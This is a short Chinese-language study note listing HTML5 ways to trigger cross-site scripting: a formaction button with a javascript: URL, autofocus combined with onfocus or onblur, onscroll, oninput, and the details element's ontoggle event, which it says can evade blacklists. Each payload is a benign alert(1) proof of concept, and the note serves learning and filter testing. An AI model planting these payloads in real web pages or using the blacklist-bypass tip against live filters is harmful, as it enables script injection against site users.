本文對一些能觸發XSS的方式進行記錄與學習。
HTML5特性向量
通過formaction屬性進行XSS - 需要用戶進行交互
formaction 屬性規定當表單提交時處理輸入控件的文件的 URL。
formaction 屬性覆蓋 <form> 元素的 action 屬性。
注釋:formaction 屬性適用於 type="submit" 和 type="image"。
| 值 | 描述 |
|---|---|
| URL | 規定當表單提交時處理輸入控件的文件的 URL。 可能的值:
|
用法如下,表單內容是將輸入值提交到百度,而在第二個按鈕中加入formaction屬性則可以覆蓋掉表單action,實現XSS。
<form action="https://www.baidu.com" method="get">
First name: <input type="text" name="fname"><br>
Last name: <input type="text" name="lname"><br>
<button type="submit">提交</button><br>
<button type="submit" formaction="javascript:alert(1)">提交</button>
</form>
通過autofocus屬性執行本身的focus事件
onfocus事件是指當輸入域獲得焦點時觸發的事件。而autofocus屬性可以自動使輸入域獲得焦點,從而觸發XSS。
<input onfocus=alert(1) autofocus>
onblur事件與上一個相反,是指輸入域失去焦點時觸發事件,我們可以在其他輸入域上加入autofocus屬性觸發XSS。
<input onblur=alert(1) autofocus><input autofocus>
onscroll 事件
onscroll事件是指當滾動條發生滾動時觸發的事件,利用方法如下:
<div onscroll=alert(1)>
<br>
<br>
<br>
<br>
<br>
<br>
</div>
oninput事件
oninput事件發生在輸入數據時,利用方式如下:
<body oninput=alert(1)><input autofocus>
通過<DETAILS>和onggle 執行JavaScript
ontoggle事件為打開或關閉下拉菜單時觸發的事件。
<DETAILS>元素會觸發“ ontoggle”事件,而無需用戶在基於Blink的現代瀏覽器上進行交互。由於事件標簽組合不是很為人所知,因此可以濫用它繞過黑名單。
<details open ontoggle="alert(1)">
